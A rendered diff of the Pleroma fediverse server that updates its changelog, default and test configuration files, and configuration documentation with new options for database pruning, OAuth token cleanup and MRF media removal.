No OneTemporary
Actions

Size

614 KB

Referenced Files

None

Subscribers

None

View Options

This file is larger than 256 KB, so syntax highlighting was skipped.

	diff --git a/CHANGELOG.md b/CHANGELOG.md
	index 07e6bce31..f689160e9 100644
	--- a/CHANGELOG.md
	+++ b/CHANGELOG.md
	@@ -1,133 +1,142 @@
	# Changelog
	All notable changes to this project will be documented in this file.

	The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).

	## [unreleased]
	### Added
	+- Optional SSH access mode. (Needs `erlang-ssh` package on some distributions).
	+- [MongooseIM](https://github.com/esl/MongooseIM) http authentication support.
	- LDAP authentication
	- External OAuth provider authentication
	- A [job queue](https://git.pleroma.social/pleroma/pleroma_job_queue) for federation, emails, web push, etc.
	- [Prometheus](https://prometheus.io/) metrics
	- Support for Mastodon's remote interaction
	- Mix Tasks: `mix pleroma.database bump_all_conversations`
	- Mix Tasks: `mix pleroma.database remove_embedded_objects`
	- Mix Tasks: `mix pleroma.database update_users_following_followers_counts`
	- Mix Tasks: `mix pleroma.user toggle_confirmed`
	- Federation: Support for reports
	- Configuration: `safe_dm_mentions` option
	- Configuration: `link_name` option
	- Configuration: `fetch_initial_posts` option
	- Configuration: `notify_email` option
	- Configuration: Media proxy `whitelist` option
	- Configuration: `report_uri` option
	- Pleroma API: User subscriptions
	- Pleroma API: Healthcheck endpoint
	- Pleroma API: `/api/v1/pleroma/mascot` per-user frontend mascot configuration endpoints
	- Admin API: Endpoints for listing/revoking invite tokens
	- Admin API: Endpoints for making users follow/unfollow each other
	- Admin API: added filters (role, tags, email, name) for users endpoint
	- Admin API: Endpoints for managing reports
	- Admin API: Endpoints for deleting and changing the scope of individual reported statuses
	- AdminFE: initial release with basic user management accessible at /pleroma/admin/
	- Mastodon API: [Scheduled statuses](https://docs.joinmastodon.org/api/rest/scheduled-statuses/)
	- Mastodon API: `/api/v1/notifications/destroy_multiple` (glitch-soc extension)
	- Mastodon API: `/api/v1/pleroma/accounts/:id/favourites` (API extension)
	- Mastodon API: [Reports](https://docs.joinmastodon.org/api/rest/reports/)
	- Mastodon API: `POST /api/v1/accounts` (account creation API)
	- ActivityPub C2S: OAuth endpoints
	- Metadata: RelMe provider
	- OAuth: added support for refresh tokens
	- Emoji packs and emoji pack manager
	+- Object pruning (`mix pleroma.database prune_objects`)
	+- OAuth: added job to clean expired access tokens
	+- MRF: Support for rejecting reports from specific instances (`mrf_simple`)
	+- MRF: Support for stripping avatars and banner images from specific instances (`mrf_simple`)

	### Changed
	- Breaking: Configuration: move from Pleroma.Mailer to Pleroma.Emails.Mailer
	- Enforcement of OAuth scopes
	- Add multiple use/time expiring invite token
	- Restyled OAuth pages to fit with Pleroma's default theme
	- Link/mention/hashtag detection is now handled by [auto_linker](https://git.pleroma.social/pleroma/auto_linker)
	- NodeInfo: Return `safe_dm_mentions` feature flag
	- Federation: Expand the audience of delete activities to all recipients of the deleted object
	- Federation: Removed `inReplyToStatusId` from objects
	- Configuration: Dedupe enabled by default
	- Configuration: Added `extra_cookie_attrs` for setting non-standard cookie attributes. Defaults to ["SameSite=Lax"] so that remote follows work.
	- Timelines: Messages involving people you have blocked will be excluded from the timeline in all cases instead of just repeats.
	- Admin API: Move the user related API to `api/pleroma/admin/users`
	- Pleroma API: Support for emoji tags in `/api/pleroma/emoji` resulting in a breaking API change
	- Mastodon API: Support for `exclude_types`, `limit` and `min_id` in `/api/v1/notifications`
	- Mastodon API: Add `languages` and `registrations` to `/api/v1/instance`
	- Mastodon API: Provide plaintext versions of cw/content in the Status entity
	- Mastodon API: Add `pleroma.conversation_id`, `pleroma.in_reply_to_account_acct` fields to the Status entity
	- Mastodon API: Add `pleroma.tags`, `pleroma.relationship{}`, `pleroma.is_moderator`, `pleroma.is_admin`, `pleroma.confirmation_pending`, `pleroma.hide_followers`, `pleroma.hide_follows`, `pleroma.hide_favorites` fields to the User entity
	- Mastodon API: Add `pleroma.show_role`, `pleroma.no_rich_text` fields to the Source subentity
	- Mastodon API: Add support for updating `no_rich_text`, `hide_followers`, `hide_follows`, `hide_favorites`, `show_role` in `PATCH /api/v1/update_credentials`
	- Mastodon API: Add `pleroma.is_seen` to the Notification entity
	- Mastodon API: Add `pleroma.local` to the Status entity
	- Mastodon API: Add `preview` parameter to `POST /api/v1/statuses`
	- Mastodon API: Add `with_muted` parameter to timeline endpoints
	- Mastodon API: Actual reblog hiding instead of a dummy
	- Mastodon API: Remove attachment limit in the Status entity
	- Mastodon API: Added support max_id & since_id for bookmark timeline endpoints.
	- Deps: Updated Cowboy to 2.6
	- Deps: Updated Ecto to 3.0.7
	- Don't ship finmoji by default, they can be installed as an emoji pack
	- Hide deactivated users and their statuses
	- Posts which are marked sensitive or tagged nsfw no longer have link previews.
	+- HTTP connection timeout is now set to 10 seconds.
	+- Respond with a 404 Not implemented JSON error message when requested API is not implemented

	### Fixed
	- Added an FTS index on objects. Running `vacuum analyze` and setting a larger `work_mem` is recommended.
	- Followers counter not being updated when a follower is blocked
	- Deactivated users being able to request an access token
	- Limit on request body in rich media/relme parsers being ignored resulting in a possible memory leak
	- Proper Twitter Card generation instead of a dummy
	- Deletions failing for users with a large number of posts
	- NodeInfo: Include admins in `staffAccounts`
	- ActivityPub: Crashing when requesting empty local user's outbox
	- Federation: Handling of objects without `summary` property
	- Federation: Add a language tag to activities as required by ActivityStreams 2.0
	- Federation: Do not federate avatar/banner if set to default allowing other servers/clients to use their defaults
	- Federation: Cope with missing or explicitly nulled address lists
	- Federation: Explicitly ensure activities addressed to `as:Public` become addressed to the followers collection
	- Federation: Better cope with actors which do not declare a followers collection and use `as:Public` with these semantics
	- Federation: Follow requests from remote users who have been blocked will be automatically rejected if appropriate
	- MediaProxy: Parse name from content disposition headers even for non-whitelisted types
	- MediaProxy: S3 link encoding
	- Rich Media: Reject any data which cannot be explicitly encoded into JSON
	- Pleroma API: Importing follows from Mastodon 2.8+
	- Twitter API: Exposing default scope, `no_rich_text` of the user to anyone
	- Twitter API: Returning the `role` object in user entity despite `show_role = false`
	- Mastodon API: `/api/v1/favourites` serving only public activities
	- Mastodon API: Reblogs having `in_reply_to_id` - `null` even when they are replies
	- Mastodon API: Streaming API broadcasting wrong activity id
	- Mastodon API: 500 errors when requesting a card for a private conversation
	- Mastodon API: Handling of `reblogs` in `/api/v1/accounts/:id/follow`
	- Mastodon API: Correct `reblogged`, `favourited`, and `bookmarked` values in the reblog status JSON
	- Mastodon API: Exposing default scope of the user to anyone
	- Mastodon API: Make `irreversible` field default to `false` [`POST /api/v1/filters`]
	- User-Agent is now sent correctly for all HTTP requests.
	+- MRF: Simple policy now properly delists imported or relayed statuses

	## Removed
	- Configuration: `config :pleroma, :fe` in favor of the more flexible `config :pleroma, :frontend_configurations`

	## [0.9.9999] - 2019-04-05
	### Security
	- Mastodon API: Fix content warnings skipping HTML sanitization

	## [0.9.999] - 2019-03-13
	Frontend changes only.
	### Added
	- Added floating action button for posting status on mobile
	### Changed
	- Changed user-settings icon to a pencil
	### Fixed
	- Keyboard shortcuts activating when typing a message
	- Gaps when scrolling down on a timeline after showing new

	## [0.9.99] - 2019-03-08
	### Changed
	- Update the frontend to the 0.9.99 tag
	### Fixed
	- Sign the date header in federation to fix Mastodon federation.

	## [0.9.9] - 2019-02-22
	This is our first stable release.
	diff --git a/config/config.exs b/config/config.exs
	index 72908266d..68168b279 100644
	--- a/config/config.exs
	+++ b/config/config.exs
	@@ -1,490 +1,494 @@
	# .i;;;;i.
	# iYcviii;vXY:
	# .YXi .i1c.
	# .YC. . in7.
	# .vc. ...... ;1c.
	# i7, .. .;1;
	# i7, .. ... .Y1i
	# ,7v .6MMM@; .YX,
	# .7;. ..IMMMMMM1 :t7.
	# .;Y. ;$MMMMMM9. :tc.
	# vY. .. .nMMM@MMU. ;1v.
	# i7i ... .#MM@M@C. .....:71i
	# it: .... $MMM@9;.,i;;;i,;tti
	# :t7. ..... 0MMMWv.,iii:::,,;St.
	# .nC. ..... IMMMQ..,::::::,.,czX.
	# .ct: ....... .ZMMMI..,:::::::,,:76Y.
	# c2: ......,i..Y$M@t..:::::::,,..inZY
	# vov ......:ii..c$MBc..,,,,,,,,,,..iI9i
	# i9Y ......iii:..7@MA,..,,,,,,,,,....;AA:
	# iIS. ......:ii::..;@MI....,............;Ez.
	# .I9. ......:i::::...8M1..................C0z.
	# .z9; ......:i::::,.. .i:...................zWX.
	# vbv ......,i::::,,. ................. :AQY
	# c6Y. .,...,::::,,..:t0@@QY. ................ :8bi
	# :6S. ..,,...,:::,,,..EMMMMMMI. ............... .;bZ,
	# :6o, .,,,,..:::,,,..i#MMMMMM#v................. YW2.
	# .n8i ..,,,,,,,::,,,,.. tMMMMM@C:.................. .1Wn
	# 7Uc. .:::,,,,,::,,,,.. i1t;,..................... .UEi
	# 7C...::::::::::::,,,,.. .................... vSi.
	# ;1;...,,::::::,......... .................. Yz:
	# v97,......... .voC.
	# izAotX7777777777777777777777777777777777777777Y7n92:
	# .;CoIIIIIUAA666666699999ZZZZZZZZZZZZZZZZZZZZ6ov.
	#
	# !!! ATTENTION !!!
	# DO NOT EDIT THIS FILE! THIS FILE CONTAINS THE DEFAULT VALUES FOR THE CON-
	# FIGURATION! EDIT YOUR SECRET FILE (either prod.secret.exs, dev.secret.exs).
	#
	# This file is responsible for configuring your application
	# and its dependencies with the aid of the Mix.Config module.
	#
	# This configuration file is loaded before any dependency and
	# is restricted to this project.
	use Mix.Config

	# General application configuration
	config :pleroma, ecto_repos: [Pleroma.Repo]

	config :pleroma, Pleroma.Repo,
	types: Pleroma.PostgresTypes,
	telemetry_event: [Pleroma.Repo.Instrumenter],
	migration_lock: nil

	config :pleroma, Pleroma.Captcha,
	enabled: false,
	seconds_valid: 60,
	method: Pleroma.Captcha.Kocaptcha

	config :pleroma, :hackney_pools,
	federation: [
	max_connections: 50,
	timeout: 150_000
	],
	media: [
	max_connections: 50,
	timeout: 150_000
	],
	upload: [
	max_connections: 25,
	timeout: 300_000
	]

	config :pleroma, Pleroma.Captcha.Kocaptcha, endpoint: "https://captcha.kotobank.ch"

	# Upload configuration
	config :pleroma, Pleroma.Upload,
	uploader: Pleroma.Uploaders.Local,
	filters: [Pleroma.Upload.Filter.Dedupe],
	link_name: true,
	proxy_remote: false,
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	http: [
	follow_redirect: true,
	pool: :upload
	]
	]

	config :pleroma, Pleroma.Uploaders.Local, uploads: "uploads"

	config :pleroma, Pleroma.Uploaders.S3,
	bucket: nil,
	public_endpoint: "https://s3.amazonaws.com"

	config :pleroma, Pleroma.Uploaders.MDII,
	cgi: "https://mdii.sakura.ne.jp/mdii-post.cgi",
	files: "https://mdii.sakura.ne.jp"

	config :pleroma, :emoji,
	shortcode_globs: ["/emoji/custom/*/.png"],
	groups: [
	# Put groups that have higher priority than defaults here. Example in `docs/config/custom_emoji.md`
	Custom: ["/emoji/.png", "/emoji//.png"]
	],
	default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json"

	config :pleroma, :uri_schemes,
	valid_schemes: [
	"https",
	"http",
	"dat",
	"dweb",
	"gopher",
	"ipfs",
	"ipns",
	"irc",
	"ircs",
	"magnet",
	"mailto",
	"mumble",
	"ssb",
	"xmpp"
	]

	websocket_config = [
	path: "/websocket",
	serializer: [
	{Phoenix.Socket.V1.JSONSerializer, "~> 1.0.0"},
	{Phoenix.Socket.V2.JSONSerializer, "~> 2.0.0"}
	],
	timeout: 60_000,
	transport_log: false,
	compress: false
	]

	# Configures the endpoint
	config :pleroma, Pleroma.Web.Endpoint,
	instrumenters: [Pleroma.Web.Endpoint.Instrumenter],
	url: [host: "localhost"],
	http: [
	dispatch: [
	{:_,
	[
	{"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
	{"/websocket", Phoenix.Endpoint.CowboyWebSocket,
	{Phoenix.Transports.WebSocket,
	{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, websocket_config}}},
	{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
	]}
	]
	],
	protocol: "https",
	secret_key_base: "aK4Abxf29xU9TTDKre9coZPUgevcVCFQJe/5xP/7Lt4BEif6idBIbjupVbOrbKxl",
	signing_salt: "CqaoopA2",
	render_errors: [view: Pleroma.Web.ErrorView, accepts: ~w(json)],
	pubsub: [name: Pleroma.PubSub, adapter: Phoenix.PubSub.PG2],
	secure_cookie_flag: true,
	extra_cookie_attrs: [
	"SameSite=Lax"
	]

	# Configures Elixir's Logger
	config :logger, :console,
	format: "$time $metadata[$level] $message\n",
	metadata: [:request_id]

	config :logger, :ex_syslogger,
	level: :debug,
	ident: "Pleroma",
	format: "$metadata[$level] $message",
	metadata: [:request_id]

	config :quack,
	level: :warn,
	meta: [:all],
	webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"

	config :mime, :types, %{
	"application/xml" => ["xml"],
	"application/xrd+xml" => ["xrd+xml"],
	"application/jrd+json" => ["jrd+json"],
	"application/activity+json" => ["activity+json"],
	"application/ld+json" => ["activity+json"]
	}

	-config :pleroma, :websub, Pleroma.Web.Websub
	-config :pleroma, :ostatus, Pleroma.Web.OStatus
	-config :pleroma, :httpoison, Pleroma.HTTP
	config :tesla, adapter: Tesla.Adapter.Hackney

	# Configures http settings, upstream proxy etc.
	config :pleroma, :http,
	proxy_url: nil,
	send_user_agent: true,
	adapter: [
	ssl_options: [
	# We don't support TLS v1.3 yet
	versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]
	]
	]

	config :pleroma, :instance,
	name: "Pleroma",
	email: "example@example.com",
	notify_email: "noreply@example.com",
	description: "A Pleroma instance, an alternative fediverse server",
	limit: 5_000,
	remote_limit: 100_000,
	upload_limit: 16_000_000,
	avatar_upload_limit: 2_000_000,
	background_upload_limit: 4_000_000,
	banner_upload_limit: 4_000_000,
	registrations_open: true,
	federating: true,
	federation_reachability_timeout_days: 7,
	federation_publisher_modules: [
	Pleroma.Web.ActivityPub.Publisher,
	Pleroma.Web.Websub,
	Pleroma.Web.Salmon
	],
	allow_relay: true,
	rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,
	public: true,
	quarantined_instances: [],
	managed_config: true,
	static_dir: "instance/static/",
	allowed_post_formats: [
	"text/plain",
	"text/html",
	"text/markdown",
	"text/bbcode"
	],
	mrf_transparency: true,
	autofollowed_nicknames: [],
	max_pinned_statuses: 1,
	no_attachment_links: false,
	welcome_user_nickname: nil,
	welcome_message: nil,
	max_report_comment_size: 1000,
	safe_dm_mentions: false,
	- healthcheck: false
	+ healthcheck: false,
	+ remote_post_retention_days: 90

	config :pleroma, :app_account_creation, enabled: true, max_requests: 25, interval: 1800

	config :pleroma, :markup,
	# XXX - unfortunately, inline images must be enabled by default right now, because
	# of custom emoji. Issue #275 discusses defanging that somehow.
	allow_inline_images: true,
	allow_headings: false,
	allow_tables: false,
	allow_fonts: false,
	scrub_policy: [
	Pleroma.HTML.Transform.MediaProxy,
	Pleroma.HTML.Scrubber.Default
	]

	config :pleroma, :frontend_configurations,
	pleroma_fe: %{
	theme: "pleroma-dark",
	logo: "/static/logo.png",
	background: "/images/city.jpg",
	redirectRootNoLogin: "/main/all",
	redirectRootLogin: "/main/friends",
	showInstanceSpecificPanel: true,
	scopeOptionsEnabled: false,
	formattingOptionsEnabled: false,
	collapseMessageWithSubject: false,
	hidePostStats: false,
	hideUserStats: false,
	scopeCopy: true,
	subjectLineBehavior: "email",
	alwaysShowSubjectInput: true
	},
	masto_fe: %{
	showInstanceSpecificPanel: true
	}

	config :pleroma, :assets,
	mascots: [
	pleroma_fox_tan: %{
	url: "/images/pleroma-fox-tan-smol.png",
	mime_type: "image/png"
	},
	pleroma_fox_tan_shy: %{
	url: "/images/pleroma-fox-tan-shy.png",
	mime_type: "image/png"
	}
	],
	default_mascot: :pleroma_fox_tan

	config :pleroma, :activitypub,
	accept_blocks: true,
	unfollow_blocked: true,
	outgoing_blocks: true,
	follow_handshake_timeout: 500

	config :pleroma, :user, deny_follow_blocked: true

	config :pleroma, :mrf_normalize_markup, scrub_policy: Pleroma.HTML.Scrubber.Default

	config :pleroma, :mrf_rejectnonpublic,
	allow_followersonly: false,
	allow_direct: false

	config :pleroma, :mrf_hellthread,
	delist_threshold: 10,
	reject_threshold: 20

	config :pleroma, :mrf_simple,
	media_removal: [],
	media_nsfw: [],
	federated_timeline_removal: [],
	report_removal: [],
	reject: [],
	- accept: []
	+ accept: [],
	+ avatar_removal: [],
	+ banner_removal: []

	config :pleroma, :mrf_keyword,
	reject: [],
	federated_timeline_removal: [],
	replace: []

	config :pleroma, :rich_media, enabled: true

	config :pleroma, :media_proxy,
	enabled: false,
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	http: [
	follow_redirect: true,
	pool: :media
	]
	],
	whitelist: []

	config :pleroma, :chat, enabled: true

	config :phoenix, :format_encoders, json: Jason

	config :pleroma, :gopher,
	enabled: false,
	ip: {0, 0, 0, 0},
	port: 9999

	config :pleroma, Pleroma.Web.Metadata,
	providers: [Pleroma.Web.Metadata.Providers.RelMe],
	unfurl_nsfw: false

	config :pleroma, :suggestions,
	enabled: false,
	third_party_engine:
	"http://vinayaka.distsn.org/cgi-bin/vinayaka-user-match-suggestions-api.cgi?{{host}}+{{user}}",
	timeout: 300_000,
	limit: 23,
	web: "https://vinayaka.distsn.org/?{{host}}+{{user}}"

	config :pleroma, :http_security,
	enabled: true,
	sts: false,
	sts_max_age: 31_536_000,
	ct_max_age: 2_592_000,
	referrer_policy: "same-origin"

	config :cors_plug,
	max_age: 86_400,
	methods: ["POST", "PUT", "DELETE", "GET", "PATCH", "OPTIONS"],
	expose: [
	"Link",
	"X-RateLimit-Reset",
	"X-RateLimit-Limit",
	"X-RateLimit-Remaining",
	"X-Request-Id",
	"Idempotency-Key"
	],
	credentials: true,
	headers: ["Authorization", "Content-Type", "Idempotency-Key"]

	config :pleroma, Pleroma.User,
	restricted_nicknames: [
	".well-known",
	"~",
	"about",
	"activities",
	"api",
	"auth",
	+ "check_password",
	"dev",
	"friend-requests",
	"inbox",
	"internal",
	"main",
	"media",
	"nodeinfo",
	"notice",
	"oauth",
	"objects",
	"ostatus_subscribe",
	"pleroma",
	"proxy",
	"push",
	"registration",
	"relay",
	"settings",
	"status",
	"tag",
	"user-search",
	+ "user_exists",
	"users",
	"web"
	]

	config :pleroma, Pleroma.Web.Federator.RetryQueue,
	enabled: false,
	max_jobs: 20,
	initial_timeout: 30,
	max_retries: 5

	config :pleroma_job_queue, :queues,
	federator_incoming: 50,
	federator_outgoing: 50,
	web_push: 50,
	mailer: 10,
	transmogrifier: 20,
	scheduled_activities: 10,
	background: 5

	config :pleroma, :fetch_initial_posts,
	enabled: false,
	pages: 5

	config :auto_linker,
	opts: [
	scheme: true,
	extra: true,
	class: false,
	strip_prefix: false,
	new_window: false,
	rel: false
	]

	config :pleroma, :ldap,
	enabled: System.get_env("LDAP_ENABLED") == "true",
	host: System.get_env("LDAP_HOST") \|\| "localhost",
	port: String.to_integer(System.get_env("LDAP_PORT") \|\| "389"),
	ssl: System.get_env("LDAP_SSL") == "true",
	sslopts: [],
	tls: System.get_env("LDAP_TLS") == "true",
	tlsopts: [],
	base: System.get_env("LDAP_BASE") \|\| "dc=example,dc=com",
	uid: System.get_env("LDAP_UID") \|\| "cn"

	config :esshd,
	enabled: false

	oauth_consumer_strategies = String.split(System.get_env("OAUTH_CONSUMER_STRATEGIES") \|\| "")

	ueberauth_providers =
	for strategy <- oauth_consumer_strategies do
	strategy_module_name = "Elixir.Ueberauth.Strategy.#{String.capitalize(strategy)}"
	strategy_module = String.to_atom(strategy_module_name)
	{String.to_atom(strategy), {strategy_module, [callback_params: ["state"]]}}
	end

	config :ueberauth,
	Ueberauth,
	base_path: "/oauth",
	providers: ueberauth_providers

	config :pleroma, :auth, oauth_consumer_strategies: oauth_consumer_strategies

	config :pleroma, Pleroma.Emails.Mailer, adapter: Swoosh.Adapters.Sendmail

	config :prometheus, Pleroma.Web.Endpoint.MetricsExporter, path: "/api/pleroma/app_metrics"

	config :pleroma, Pleroma.ScheduledActivity,
	daily_user_limit: 25,
	total_user_limit: 300,
	enabled: true

	config :pleroma, :oauth2,
	token_expires_in: 600,
	- issue_new_refresh_token: true
	+ issue_new_refresh_token: true,
	+ clean_expired_tokens: false,
	+ clean_expired_tokens_interval: 86_400_000

	config :pleroma, :database, rum_enabled: false

	config :http_signatures,
	adapter: Pleroma.Signature

	# Import environment specific config. This must remain at the bottom
	# of this file so it overrides the configuration defined above.
	import_config "#{Mix.env()}.exs"
	diff --git a/config/test.exs b/config/test.exs
	index 6100989c4..41cddb9bd 100644
	--- a/config/test.exs
	+++ b/config/test.exs
	@@ -1,79 +1,77 @@
	use Mix.Config

	# We don't run a server during test. If one is required,
	# you can enable the server option below.
	config :pleroma, Pleroma.Web.Endpoint,
	http: [port: 4001],
	url: [port: 4001],
	server: true

	# Disable captha for tests
	config :pleroma, Pleroma.Captcha,
	# It should not be enabled for automatic tests
	enabled: false,
	# A fake captcha service for tests
	method: Pleroma.Captcha.Mock

	# Print only warnings and errors during test
	config :logger, level: :warn

	config :pleroma, Pleroma.Upload, filters: [], link_name: false

	config :pleroma, Pleroma.Uploaders.Local, uploads: "test/uploads"

	config :pleroma, Pleroma.Emails.Mailer, adapter: Swoosh.Adapters.Test

	config :pleroma, :instance,
	email: "admin@example.com",
	notify_email: "noreply@example.com"

	# Configure your database
	config :pleroma, Pleroma.Repo,
	adapter: Ecto.Adapters.Postgres,
	username: "postgres",
	password: "postgres",
	database: "pleroma_test",
	hostname: System.get_env("DB_HOST") \|\| "localhost",
	pool: Ecto.Adapters.SQL.Sandbox

	# Reduce hash rounds for testing
	config :pbkdf2_elixir, rounds: 1

	-config :pleroma, :websub, Pleroma.Web.WebsubMock
	-config :pleroma, :ostatus, Pleroma.Web.OStatusMock
	config :tesla, adapter: Tesla.Mock
	config :pleroma, :rich_media, enabled: false

	config :web_push_encryption, :vapid_details,
	subject: "mailto:administrator@example.com",
	public_key:
	"BLH1qVhJItRGCfxgTtONfsOKDc9VRAraXw-3NsmjMngWSh7NxOizN6bkuRA7iLTMPS82PjwJAr3UoK9EC1IFrz4",
	private_key: "_-XZ0iebPrRfZ_o0-IatTdszYa8VCH1yLN-JauK7HHA"

	config :web_push_encryption, :http_client, Pleroma.Web.WebPushHttpClientMock

	config :pleroma_job_queue, disabled: true

	config :pleroma, Pleroma.ScheduledActivity,
	daily_user_limit: 2,
	total_user_limit: 3,
	enabled: false

	config :pleroma, :app_account_creation, max_requests: 5

	config :pleroma, :http_security, report_uri: "https://endpoint.com"

	config :pleroma, :http, send_user_agent: false

	rum_enabled = System.get_env("RUM_ENABLED") == "true"
	config :pleroma, :database, rum_enabled: rum_enabled
	IO.puts("RUM enabled: #{rum_enabled}")

	try do
	import_config "test.secret.exs"
	rescue
	_ ->
	IO.puts(
	"You may want to create test.secret.exs to declare custom database connection parameters."
	)
	end
	diff --git a/docs/config.md b/docs/config.md
	index 197326bbd..67b062fe9 100644
	--- a/docs/config.md
	+++ b/docs/config.md
	@@ -1,571 +1,577 @@
	# Configuration

	This file describe the configuration, it is recommended to edit the relevant *.secret.exs file instead of the others founds in the ``config`` directory.
	If you run Pleroma with ``MIX_ENV=prod`` the file is ``prod.secret.exs``, otherwise it is ``dev.secret.exs``.

	## Pleroma.Upload
	* `uploader`: Select which `Pleroma.Uploaders` to use
	* `filters`: List of `Pleroma.Upload.Filter` to use.
	* `link_name`: When enabled Pleroma will add a `name` parameter to the url of the upload, for example `https://instance.tld/media/corndog.png?name=corndog.png`. This is needed to provide the correct filename in Content-Disposition headers when using filters like `Pleroma.Upload.Filter.Dedupe`
	* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host.
	* `proxy_remote`: If you\'re using a remote uploader, Pleroma will proxy media requests instead of redirecting to it.
	* `proxy_opts`: Proxy options, see `Pleroma.ReverseProxy` documentation.

	Note: `strip_exif` has been replaced by `Pleroma.Upload.Filter.Mogrify`.

	## Pleroma.Uploaders.Local
	* `uploads`: Which directory to store the user-uploads in, relative to pleroma’s working directory

	## Pleroma.Upload.Filter.Mogrify

	* `args`: List of actions for the `mogrify` command like `"strip"` or `["strip", "auto-orient", {"impode", "1"}]`.

	## Pleroma.Upload.Filter.Dedupe

	No specific configuration.

	## Pleroma.Upload.Filter.AnonymizeFilename

	This filter replaces the filename (not the path) of an upload. For complete obfuscation, add
	`Pleroma.Upload.Filter.Dedupe` before AnonymizeFilename.

	* `text`: Text to replace filenames in links. If empty, `{random}.extension` will be used.

	## Pleroma.Emails.Mailer
	* `adapter`: one of the mail adapters listed in [Swoosh readme](https://github.com/swoosh/swoosh#adapters), or `Swoosh.Adapters.Local` for in-memory mailbox.
	* `api_key` / `password` and / or other adapter-specific settings, per the above documentation.

	An example for Sendgrid adapter:

	```elixir
	config :pleroma, Pleroma.Emails.Mailer,
	adapter: Swoosh.Adapters.Sendgrid,
	api_key: "YOUR_API_KEY"
	```

	An example for SMTP adapter:

	```elixir
	config :pleroma, Pleroma.Emails.Mailer,
	adapter: Swoosh.Adapters.SMTP,
	relay: "smtp.gmail.com",
	username: "YOUR_USERNAME@gmail.com",
	password: "YOUR_SMTP_PASSWORD",
	port: 465,
	ssl: true,
	tls: :always,
	auth: :always
	```

	## :uri_schemes
	* `valid_schemes`: List of the scheme part that is considered valid to be an URL

	## :instance
	* `name`: The instance’s name
	* `email`: Email used to reach an Administrator/Moderator of the instance
	* `notify_email`: Email used for notifications.
	* `description`: The instance’s description, can be seen in nodeinfo and ``/api/v1/instance``
	* `limit`: Posts character limit (CW/Subject included in the counter)
	* `remote_limit`: Hard character limit beyond which remote posts will be dropped.
	* `upload_limit`: File size limit of uploads (except for avatar, background, banner)
	* `avatar_upload_limit`: File size limit of user’s profile avatars
	* `background_upload_limit`: File size limit of user’s profile backgrounds
	* `banner_upload_limit`: File size limit of user’s profile banners
	* `registrations_open`: Enable registrations for anyone, invitations can be enabled when false.
	* `invites_enabled`: Enable user invitations for admins (depends on `registrations_open: false`).
	* `account_activation_required`: Require users to confirm their emails before signing in.
	* `federating`: Enable federation with other instances
	* `federation_reachability_timeout_days`: Timeout (in days) of each external federation target being unreachable prior to pausing federating to it.
	* `allow_relay`: Enable Pleroma’s Relay, which makes it possible to follow a whole instance
	* `rewrite_policy`: Message Rewrite Policy, either one or a list. Here are the ones available by default:
	* `Pleroma.Web.ActivityPub.MRF.NoOpPolicy`: Doesn’t modify activities (default)
	* `Pleroma.Web.ActivityPub.MRF.DropPolicy`: Drops all activities. It generally doesn’t makes sense to use in production
	* `Pleroma.Web.ActivityPub.MRF.SimplePolicy`: Restrict the visibility of activities from certains instances (See ``:mrf_simple`` section)
	* `Pleroma.Web.ActivityPub.MRF.RejectNonPublic`: Drops posts with non-public visibility settings (See ``:mrf_rejectnonpublic`` section)
	* `Pleroma.Web.ActivityPub.MRF.EnsureRePrepended`: Rewrites posts to ensure that replies to posts with subjects do not have an identical subject and instead begin with re:.
	* `public`: Makes the client API in authentificated mode-only except for user-profiles. Useful for disabling the Local Timeline and The Whole Known Network.
	* `quarantined_instances`: List of ActivityPub instances where private(DMs, followers-only) activities will not be send.
	* `managed_config`: Whenether the config for pleroma-fe is configured in this config or in ``static/config.json``
	* `allowed_post_formats`: MIME-type list of formats allowed to be posted (transformed into HTML)
	* `mrf_transparency`: Make the content of your Message Rewrite Facility settings public (via nodeinfo).
	* `scope_copy`: Copy the scope (private/unlisted/public) in replies to posts by default.
	* `subject_line_behavior`: Allows changing the default behaviour of subject lines in replies. Valid values:
	* "email": Copy and preprend re:, as in email.
	* "masto": Copy verbatim, as in Mastodon.
	* "noop": Don't copy the subject.
	* `always_show_subject_input`: When set to false, auto-hide the subject field when it's empty.
	* `extended_nickname_format`: Set to `true` to use extended local nicknames format (allows underscores/dashes). This will break federation with
	older software for theses nicknames.
	* `max_pinned_statuses`: The maximum number of pinned statuses. `0` will disable the feature.
	* `autofollowed_nicknames`: Set to nicknames of (local) users that every new user should automatically follow.
	* `no_attachment_links`: Set to true to disable automatically adding attachment link text to statuses
	* `welcome_message`: A message that will be send to a newly registered users as a direct message.
	* `welcome_user_nickname`: The nickname of the local user that sends the welcome message.
	* `max_report_comment_size`: The maximum size of the report comment (Default: `1000`)
	* `safe_dm_mentions`: If set to true, only mentions at the beginning of a post will be used to address people in direct messages. This is to prevent accidental mentioning of people when talking about them (e.g. "@friend hey i really don't like @enemy"). (Default: `false`)
	* `healthcheck`: if set to true, system data will be shown on ``/api/pleroma/healthcheck``.
	+* `remote_post_retention_days`: the default amount of days to retain remote posts when pruning the database

	## :app_account_creation
	REST API for creating an account settings
	* `enabled`: Enable/disable registration
	* `max_requests`: Number of requests allowed for creating accounts
	* `interval`: Interval for restricting requests for one ip (seconds)

	## :logger
	* `backends`: `:console` is used to send logs to stdout, `{ExSyslogger, :ex_syslogger}` to log to syslog, and `Quack.Logger` to log to Slack

	An example to enable ONLY ExSyslogger (f/ex in ``prod.secret.exs``) with info and debug suppressed:
	```elixir
	config :logger,
	backends: [{ExSyslogger, :ex_syslogger}]

	config :logger, :ex_syslogger,
	level: :warn
	```

	Another example, keeping console output and adding the pid to syslog output:
	```elixir
	config :logger,
	backends: [:console, {ExSyslogger, :ex_syslogger}]

	config :logger, :ex_syslogger,
	level: :warn,
	option: [:pid, :ndelay]
	```

	See: [logger’s documentation](https://hexdocs.pm/logger/Logger.html) and [ex_syslogger’s documentation](https://hexdocs.pm/ex_syslogger/)

	An example of logging info to local syslog, but warn to a Slack channel:
	```elixir
